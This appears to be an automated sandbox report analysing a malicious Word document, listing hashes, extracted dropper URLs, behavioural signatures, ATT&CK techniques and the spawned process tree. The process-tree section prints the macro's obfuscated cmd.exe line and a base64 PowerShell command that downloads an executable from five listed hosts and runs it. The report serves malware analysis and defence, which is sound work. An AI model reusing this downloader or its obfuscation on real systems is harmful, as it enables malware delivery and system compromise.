b10d4465157273d3b106ed97b74147ddb35efb344cbd843e54f16391caae51e0

General

Target

b10d4465157273d3b106ed97b74147ddb35efb344cbd843e54f16391caae51e0.doc
Size

77KB
MD5

72bf256119b652762d7f57f3873cfcd0
SHA1

1998cd15554674254453b9d1bad3f7e8c9bea5cc
SHA256

b10d4465157273d3b106ed97b74147ddb35efb344cbd843e54f16391caae51e0
SHA512

e38444218e794249b11088bc3b39ffd3a0ddde0c9779505409e407a41f18b14da15f906aceafb864c267303bc5ef08ee5aa45453acdf762a71b60f9b8f19d481
SSDEEP

768:Uoo2oooogG7oXoooo7ooQoooDoooooIoo4pJcaUitGAlmrJpmxlzC+w99NB33yhk:TptJlmrJpmxlRw99NBnyA1dfafKI+j

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://djtosh.co.za/rrp

exe.dropper

http://virginie.exstyle.fr/a

exe.dropper

http://projettv.baudtanette.fr/FZ00c23Z

exe.dropper

http://mujerproductivaradio.jacquelinezorrilla.com/O

exe.dropper

http://esinvestmentinc.ezitsolutions.net/UIf

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4120	4252	cmd.exe	WINWORD.EXE

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

4120 cmd.exe

pid	process
4120	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4252 WINWORD.EXE
4252 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4700 powershell.exe
4700 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4700 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4252 WINWORD.EXE
4252 WINWORD.EXE
4252 WINWORD.EXE
4252 WINWORD.EXE
4252 WINWORD.EXE
4252 WINWORD.EXE
4252 WINWORD.EXE

pid	process
4252	WINWORD.EXE
4252	WINWORD.EXE

pid	process
4700	powershell.exe
4700	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4700	powershell.exe

pid	process
4252	WINWORD.EXE
4252	WINWORD.EXE
4252	WINWORD.EXE
4252	WINWORD.EXE
4252	WINWORD.EXE
4252	WINWORD.EXE
4252	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 4252 wrote to memory of 4120	4252	WINWORD.EXE	cmd.exe
PID 4252 wrote to memory of 4120	4252	WINWORD.EXE	cmd.exe
PID 4120 wrote to memory of 4700	4120	cmd.exe	powershell.exe
PID 4120 wrote to memory of 4700	4120	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b10d4465157273d3b106ed97b74147ddb35efb344cbd843e54f16391caae51e0.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /V:^o ^ ^ /R" ^s^e^T ^ ^ ^Qud^b=AACAg^AA^IA^ACAg^A^A^I^AACAg^A^AI^AACA^g^AA^I^AACAgA^A^IA^ACAgAQ^fA0^HA7B^Aa^AMGA^0BQ^Y^A^MGA9^B^w^OAs^GAhBQZ^AI^H^AiBw^O^A^I^E^A^w^BgcA^QCAg^AQbA^U^GA0B^Q^S^A0C^AlBw^aA8^GA^2B^g^b^A^kEA7^A^QKAI^E^A^wB^gcA^QCAgAA^LA^4^EA^Z^Bwc^A^QCA^oA^QZ^A^wG^ApB^gR^A^Q^GAh^B^wb^A^wG^Au^BwdA8^G^AEB^g^L^A^gGAkBQW^A^QC^A^7BQeAI^HA0^B^weA^kC^A^k^Bw^U^Ao^HAkA^A^I^A4^GApBA^I^A^4^E^AZBwcA^QCAo^A^AaAMG^AhBQZAIHAvB^gZ^As^D^An^AQZAg^HAl^B^g^L^AcCAr^A^Q^b^AEF^A^D^B^AJ^AsCAn^A^A^XAcC^Ar^AwYAkGAs^Bg^Y^A^U^HAwBg^OA^Y^HAuBQZA^QCA^9A^g^QA^A^H^A^y^B^AJ^AsDAn^A^AOA^QD^A^3^A^w^JA^AC^A9A^A^IA^0GARBwQA^QC^A7A^Q^K^AcCA^A^Bw^J^A^gC^A^0B^Qa^A^w^GA^wBwUA4C^An^A^gZ^A^kEAVBw^LA^Q^H^Al^B^gb^A4CA^zBgbA8^G^Ap^BAdAUH^AsB^w^b^AM^HA^0^B^Q^a^A^oHA^lBgL^AMG^Au^B^QaAQHAuBQ^Z^A0G^A0^BwcA^U^GA^2BgbAkG^Az^B^Q^Z^A8CAv^A^g^OA^A^HA^0^B^Ad^Ag^G^A^A^B^w^T^A^8C^A^t^Bw^bAMGA^uA^QYAwG^A^sB^Q^a^AIHA^yB^w^b^AoHA^l^B^gbA^kG^As^B^QZA^UHA^x^Bw^Y^AE^G^A^qBg^LA8GApB^AZ^A^E^G^Ay^B^QY^A^YHA^p^BA^dAMGA^1^B^A^ZA8GAy^BAcAI^H^AlBg^a^A^UHAtBw^L^A8C^A6^A^Ac^AQ^HA^0B^A^aA^AEA^a^Bw^M^AI^D^A^jB^AMA^A^D^Aa^B^gRA8C^A^yBg^Z^A^4CAl^BAdAQH^AlBgbAE^G^A0BAZA^U^HA^hBgYA4C^A2^BA^d^A^Q^H^A^lB^gaA^8^G^AyBAcA8C^AvA^g^O^AA^HA^0B^A^d^AgG^A^A^B^Q^Y^A^8C^AyBg^Z^A^4C^A^l^B^A^b^Ak^H^A^0B^wcA^g^H^A^l^B^g^L^AU^G^A^pBgb^Ak^GAnB^gc^A^kG^A2^Bw^L^A^8CA6^A^AcA^Q^HA^0^BAa^A^A^EAw^Bgc^AIH^AvAQY^A^oH^Au^AwbA^M^G^Au^A^AaAM^H^AvB^AdA^o^GAk^B^w^LA8CA6AAc^AQHA^0BA^a^AcCA9A^AZAM^FA^6BAJA^s^DA^0B^gbAU^GA^p^B^Ab^AM^E^A^iBQZAcFA^u^A^A^dA^UG^AOB^A^I^A^QHAjB^Q^Z^AoG^A^iB^w^bA^0CA^3^BQ^ZA^4G^A9^AAa^A^QG^A^Z^B^AJ ^e^-^ l^le^hsre^w^op& f^Or /^l %^u ^IN ( ^ ^1^0^53 ^,^ ^ ^-1, ^ ^ 0) d^O ^sE^t ^Y4^Z=!^Y4^Z!!^Qud^b:~%^u, 1!&&^i^f %^u ^l^eQ ^0 C^a^lL %^Y4^Z:^~ -^10^5^4% "
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABZAGQAaAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6AFMAZAA9ACcAaAB0AHQAcAA6AC8ALwBkAGoAdABvAHMAaAAuAGMAbwAuAHoAYQAvAHIAcgBwAEAAaAB0AHQAcAA6AC8ALwB2AGkAcgBnAGkAbgBpAGUALgBlAHgAcwB0AHkAbABlAC4AZgByAC8AYQBAAGgAdAB0AHAAOgAvAC8AcAByAG8AagBlAHQAdAB2AC4AYgBhAHUAZAB0AGEAbgBlAHQAdABlAC4AZgByAC8ARgBaADAAMABjADIAMwBaAEAAaAB0AHQAcAA6AC8ALwBtAHUAagBlAHIAcAByAG8AZAB1AGMAdABpAHYAYQByAGEAZABpAG8ALgBqAGEAYwBxAHUAZQBsAGkAbgBlAHoAbwByAHIAaQBsAGwAYQAuAGMAbwBtAC8ATwBAAGgAdAB0AHAAOgAvAC8AZQBzAGkAbgB2AGUAcwB0AG0AZQBuAHQAaQBuAGMALgBlAHoAaQB0AHMAbwBsAHUAdABpAG8AbgBzAC4AbgBlAHQALwBVAEkAZgAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAQwBRAG0AIAA9ACAAJwA3ADQAOAAnADsAJAByAHAAQgA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABDAFEAbQArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAcwBZAE4AIABpAG4AIAAkAHoAUwBkACkAewB0AHIAeQB7ACQAWQBkAGgALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAcwBZAE4ALAAgACQAcgBwAEIAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAcgBwAEIAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDD98A.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sn05iy5w.rle.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
159f1be24a335ed517e26e42c809394f

SHA1
d4a8c1534b77c958b211044ac6e6e7c3b6d87082

SHA256
22322bfeaaeba9904fa2779138f41c852122fda108e962561e16d44ecbcd3629

SHA512
7cca7caa449adbb867ce64dd72a1cf879b4b412922a3bba7beff1255eed22c7eb659081b22f14ba076b1a49cf9c39b1a8efe2046022b7133f4352b929f378865

Download Submit
memory/4252-20-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-61-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-8-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-5-0x00007FFC29530000-0x00007FFC29540000-memory.dmp

Filesize
64KB

Download
memory/4252-7-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-10-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-15-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-12-0x00007FFC27230000-0x00007FFC27240000-memory.dmp

Filesize
64KB

Download
memory/4252-9-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-4-0x00007FFC29530000-0x00007FFC29540000-memory.dmp

Filesize
64KB

Download
memory/4252-17-0x00007FFC27230000-0x00007FFC27240000-memory.dmp

Filesize
64KB

Download
memory/4252-16-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-21-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-1-0x00007FFC6954D000-0x00007FFC6954E000-memory.dmp

Filesize
4KB

Download
memory/4252-0-0x00007FFC29530000-0x00007FFC29540000-memory.dmp

Filesize
64KB

Download
memory/4252-6-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-11-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-14-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-13-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-29-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-30-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-31-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-19-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-2-0x00007FFC29530000-0x00007FFC29540000-memory.dmp

Filesize
64KB

Download
memory/4252-50-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-52-0x00007FFC6954D000-0x00007FFC6954E000-memory.dmp

Filesize
4KB

Download
memory/4252-54-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-55-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-3-0x00007FFC29530000-0x00007FFC29540000-memory.dmp

Filesize
64KB

Download
memory/4252-18-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4252-65-0x00007FFC694B0000-0x00007FFC696A5000-memory.dmp

Filesize
2.0MB

Download
memory/4700-45-0x0000025077970000-0x0000025077992000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads